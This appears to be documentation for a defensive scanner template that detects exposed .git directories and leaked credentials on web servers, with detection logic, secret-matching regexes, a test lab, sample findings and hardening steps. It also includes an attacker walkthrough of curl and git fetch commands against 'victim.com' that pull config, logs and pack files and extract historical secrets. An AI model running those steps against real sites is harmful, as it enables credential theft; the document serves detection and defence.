Git History Secret Scanning: Detecting Leaked Credentials in Repositories

Developer machine Production server
┌─────────────────┐ ┌──────────────────────────────┐
│ git clone │ │ /var/www/html/ │
│ myapp/ │ scp / rsync │ index.php │
│ ├── .git/ ───────────────────►│ app.js ← exposed! │
│ ├── index.php │ │ .git/ ← DANGER! │
│ └── app.js │ │ HEAD │
└─────────────────┘ │ config ← has creds │
 │ logs/HEAD ← has SHAs │
 │ objects/ ← has blobs │
 └──────────────────────────────┘

Commit A: "add DB config" ← DB_PASSWORD=Passw0rd123! is stored in blob object
 ↓
Commit B: "cleanup secrets" ← .env removed from tree, but blob object REMAINS
 ↓
 git object store still has the blob
 curl /.git/objects/ab/cdef... → returns the original file content

# What a YAML scanner CAN do:
id: git-directory-exposure
requests:
 - method: GET
 path:
 - "{{BaseURL}}/.git/HEAD"
 matchers:
 - type: word
 words:
 - "ref: refs/heads/"

┌──────────────────────────────────────────────────────────────────┐
│ CERT-X-GEN DETECTION FLOW │
├──────────────────────────────────────────────────────────────────┤
│ │
│ Scanner ──► GET /.git/HEAD │
│ │ ├── 200 + "ref: refs/heads/" → LAYER 1 CONFIRMED │
│ │ └── 404 / redirect / non-git body → STOP │
│ ▼ │
│ Scanner ──► GET /.git/config │
│ │ ├── Parse [remote "origin"] url │
│ │ ├── Regex: credentials in URL? │
│ │ │ └── YES → CRITICAL: Creds in Remote URL │
│ │ └── Store config evidence │
│ ▼ │
│ Scanner ──► GET /.git/COMMIT_EDITMSG │
│ GET /.git/logs/HEAD │
│ GET /.git/logs/refs/heads/main │
│ GET /.git/logs/refs/heads/master │
│ GET /.git/refs/heads/main │
│ GET /.git/refs/heads/master │
│ GET /.git/config (re-scan for secrets) │
│ │ ├── Run 13 secret patterns against each file │
│ │ ├── Deduplicate across files │
│ │ ├── Redact matched values (show first/last 4 chars) │
│ │ └── Match found? → CRITICAL: Secrets in History │
│ ▼ │
│ Output: JSON findings array, severity-escalated, redacted │
│ │
└──────────────────────────────────────────────────────────────────┘

# Attacker discovers exposed .git directory
curl https://victim.com/.git/HEAD
# → ref: refs/heads/main

# Extract remote URL (may contain deploy credentials)
curl https://victim.com/.git/config
# → url = https://deploy:ghp_TOKEN@github.com/company/app.git

# Read recent commit history
curl https://victim.com/.git/logs/HEAD
# → commit SHAs + messages (may contain secrets in commit messages)

# Download pack files to reconstruct full history
curl https://victim.com/.git/packed-refs
curl https://victim.com/.git/objects/pack/pack-<hash>.idx
curl https://victim.com/.git/objects/pack/pack-<hash>.pack

# Extract blobs from object store using commit SHAs
git init recovered && cd recovered
git fetch https://victim.com/.git
git checkout FETCH_HEAD
# → Full source code + all historical .env files

# Enumerate all commits and search for secrets
git log --all --full-history -- "*.env" "*.key" "*.conf"
git show <commit-sha>:.env
# → DB_PASSWORD=Passw0rd123!
# → AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...

GET /.git/HEAD
 │
 ├── NOT 200 or not git content ──────────────────► No findings (exit)
 │
 └── 200 + "ref: refs/heads/..." ──────────────────► MEDIUM: .git Exposed
 │
 ├── .git/config accessible?
 │ └── remote URL has credentials? ──► CRITICAL: Creds in Config
 │
 └── Any secret pattern matched in log/commit files?
 └── YES ──────────────────────────► CRITICAL: Secrets in History

var secretPatterns = []SecretPattern{
 {Name: "AWS Access Key ID",
 Pattern: regexp.MustCompile(`(?i)AKIA[0-9A-Z]{16}`), Redact: true},

 {Name: "GitHub Token",
 Pattern: regexp.MustCompile(`gh[pousr]_[A-Za-z0-9_]{36,255}`), Redact: true},

 {Name: "Stripe Key",
 Pattern: regexp.MustCompile(`(?:r|s)k_(live|test)_[A-Za-z0-9]{24,}`), Redact: true},

 {Name: "Database URL with Credentials",
 Pattern: regexp.MustCompile(`(?i)(mysql|postgres|mongodb|redis|amqp|ftp)://[^:]+:[^@\s]+@`),
 Redact: true},

 {Name: "Private Key Header",
 Pattern: regexp.MustCompile(`-----BEGIN (RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----`),
 Redact: false}, // Key header itself is not sensitive
 // ... 8 more patterns
}

func scanForSecrets(content string) []secretMatch {
 // ...
 if sp.Redact && len(preview) > 12 {
 // Show first 4 + last 4 chars with asterisks in between
 // sk_live_51Hzwrt... → sk_l****...****lo2C
 preview = preview[:4] + strings.Repeat("*", len(preview)-8) + preview[len(preview)-4:]
 }
}

func normalizeTarget(host string, port int) []string {
 // Strip any existing scheme from host
 // Handle host:port notation in the host string itself
 switch {
 case port == 443:
 return []string{"https://" + host}
 case port == 80 || port == 0:
 return []string{"http://" + host, "https://" + host}
 default:
 // Non-standard port: try http first, then https
 return []string{
 fmt.Sprintf("http://%s:%d", host, port),
 fmt.Sprintf("https://%s:%d", host, port),
 }
 }
}

# Scan a single target
cxg scan --scope example.com --template templates/git-history-secret-scan/git-history-secret-scan.go

# With explicit port (critical for non-standard ports)
cxg scan --scope example.com:3000 --template templates/git-history-secret-scan/git-history-secret-scan.go

# JSON output with verbose logging
cxg scan --scope @targets.txt --template templates/git-history-secret-scan/git-history-secret-scan.go --output-format json --timeout 30s -vv

# HTTPS target
cxg scan --scope secure.example.com:443 --template templates/git-history-secret-scan/git-history-secret-scan.go

# git-history-targets.txt
example.com:80
staging.company.com:3000
192.168.1.100:8080
dev.internal.app:8765

# Build and run directly
cd templates/git-history-secret-scan
go build -o git-history-secret-scan git-history-secret-scan.go

# Run with env vars (engine mode)
CERT_X_GEN_TARGET_HOST=example.com CERT_X_GEN_TARGET_PORT=80 CERT_X_GEN_MODE=engine ./git-history-secret-scan

# Run with CLI flags
./git-history-secret-scan --target example.com --port 3000

# 1. Create a test git repo with simulated secrets
mkdir -p /tmp/git-test && cd /tmp/git-test
git init testrepo && cd testrepo
git config user.email 'test@test.com' && git config user.name 'Test'
git remote add origin https://deploy:ghp_FAKTOKEN@github.com/example/app.git
echo 'readme' > readme.txt && git add . && git commit -m 'sk_live_FAKESTRIPEKEY added'

# 2. Start nginx serving the repo without .git protection
docker run -d --name git-test -p 8765:8765 \
 -v $(pwd):/usr/share/nginx/html:ro \
 -v /path/to/nginx.conf:/etc/nginx/conf.d/default.conf \
 nginx:alpine

# 3. Verify and scan
curl http://localhost:8765/.git/HEAD
cxg scan --scope localhost:8765 \
 --template templates/git-history-secret-scan/git-history-secret-scan.go \
 --output-format json --timeout 30s -vv

# 4. Cleanup
docker rm -f git-test

[
 {
 "template_id": "git-history-secret-scan",
 "severity": "critical",
 "confidence": 95,
 "title": "Secrets Found in Exposed Git History (4 pattern(s) matched)",
 "description": "The exposed .git directory on http://localhost:8765 contains files with secret credential patterns. 4 secret(s) matched across 4 git file(s): COMMIT_EDITMSG, logs/HEAD, logs/refs/heads/master, config.",
 "evidence": {
 "secret_matches": [
 {"pattern_name": "Stripe Key", "preview": "sk_l****...****lo2C"},
 {"pattern_name": "GitHub Token", "preview": "ghp_****...****FAKE"},
 {"pattern_name": "Credentials in URL", "preview": "http****...****git"}
 ],
 "affected_git_files": ["COMMIT_EDITMSG", "logs/HEAD", "logs/refs/heads/master", "config"],
 "total_secrets": 4
 },
 "cwe": "CWE-312",
 "cvss_score": 9.8
 },
 {
 "template_id": "git-history-secret-scan",
 "severity": "critical",
 "confidence": 90,
 "title": "Git Config Exposes Credentials in Remote URL",
 "description": "The .git/config file contains a remote URL with embedded credentials.",
 "evidence": {
 "git_config": {
 "config_url": "http://localhost:8765/.git/config",
 "remote_origin_url": "https://deploy:ghp_abc123@github.com/example/app.git",
 "credentials_in_remote_url": true
 }
 },
 "cwe": "CWE-312",
 "cvss_score": 9.8
 }
]

[]

# nginx — add to server block
location ~ /\.git {
 deny all;
 return 404;
}

# Apache — add to .htaccess or VirtualHost
RedirectMatch 404 /\.git
# OR
<DirectoryMatch "^/.*/\.git/">
 Order deny,allow
 Deny from all
</DirectoryMatch>

# Using git-filter-repo (recommended over BFG for modern repos)
pip install git-filter-repo
git filter-repo --path .env --invert-paths
git filter-repo --replace-text <(echo 'AKIAIOSFODNN7EXAMPLE==>***REDACTED***')

# Force push to all remotes
git push --force --all
git push --force --tags

# All clones must be re-cloned (old clones retain the history)

# GitHub Actions — secure deployment
- name: Deploy application files only
 run: |
 rsync -av --exclude='.git' --exclude='.env' \
 ./app/ user@server:/var/www/html/

# Never commit these
.env
.env.*
*.key
*.pem
config/secrets.yml
credentials.json
aws_credentials

# Install Gitleaks pre-commit hook
gitleaks protect --staged --config .gitleaks.toml

// Add to secretPatterns slice in the template
{
 Name: "Anthropic API Key",
 Pattern: regexp.MustCompile(`sk-ant-[A-Za-z0-9\-_]{40,}`),
 Redact: true,
},
{
 Name: "OpenAI API Key",
 Pattern: regexp.MustCompile(`sk-[A-Za-z0-9]{48}`),
 Redact: true,
},
{
 Name: "Cloudflare API Token",
 Pattern: regexp.MustCompile(`[A-Za-z0-9_-]{40}cloudflare`),
 Redact: true,
},

// Extend secretScanFiles to include more git metadata
secretScanFiles := []string{
 "COMMIT_EDITMSG",
 "logs/HEAD",
 "logs/refs/heads/main",
 "logs/refs/heads/master",
 "logs/refs/heads/develop", // Add common branch names
 "refs/heads/main",
 "refs/heads/master",
 "config",
 "description", // Sometimes contains repo info
 "info/exclude", // May reveal what was intentionally excluded
}

// Fetch pack index to enumerate all object SHAs
func fetchPackIndex(ctx context.Context, client *http.Client, baseURL string) []string {
 body, status, _ := fetchGitFile(ctx, client, baseURL, "objects/info/packs")
 if status != 200 { return nil }
 // Parse pack filenames from response
 // Download .idx files to enumerate blob SHAs
 // Download and decompress .pack files for blob content
 // ... (advanced reconstruction logic)
}

# GitHub Actions — scan on every deployment
name: Git Exposure Scan
on:
 push:
 branches: [main, staging]

jobs:
 git-exposure-check:
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@v3
 - name: Run Git History Secret Scan
 run: |
 cxg scan \
 --scope ${{ secrets.STAGING_URL }} \
 --template templates/git-history-secret-scan/git-history-secret-scan.go \
 --output-format json \
 --timeout 30s \
 --output git-exposure-results.json
 - name: Check for critical findings
 run: |
 CRITICAL=$(jq '.findings | map(select(.severity == "critical")) | length' git-exposure-results.json)
 if [ "$CRITICAL" -gt "0" ]; then
 echo "CRITICAL: .git directory exposed with $CRITICAL finding(s)"
 exit 1
 fi